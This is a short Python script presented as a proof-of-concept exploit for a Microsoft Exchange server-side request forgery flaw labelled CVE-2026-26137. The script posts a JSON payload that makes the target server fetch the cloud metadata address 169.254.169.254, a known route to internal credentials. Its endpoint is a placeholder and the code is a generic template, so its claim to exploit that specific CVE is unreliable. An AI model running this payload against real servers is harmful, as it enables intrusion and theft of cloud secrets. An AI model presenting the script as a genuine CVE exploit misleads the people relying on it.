The following code is for security research and authorized testing only.
python
import requests
# Proof of Concept for CVE-2026-26137
# Target: Microsoft Exchange Server (Vulnerable Version)
# Note: This is a generic template demonstrating the SSRF interaction.
target_url = "https://<exchange-server>/vulnerable_endpoint"
attacker_controlled_url = "http://169.254.169.254/latest/meta-data/" # Example internal resource
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json"
}
# Payload containing the internal URL to be accessed by the server
payload = {
"url": attacker_controlled_url,
"property": "value"
}
try:
response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
print("[+] Potential SSRF triggered!")
print("[+] Server Response:")
print(response.text)
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] Error: {e}")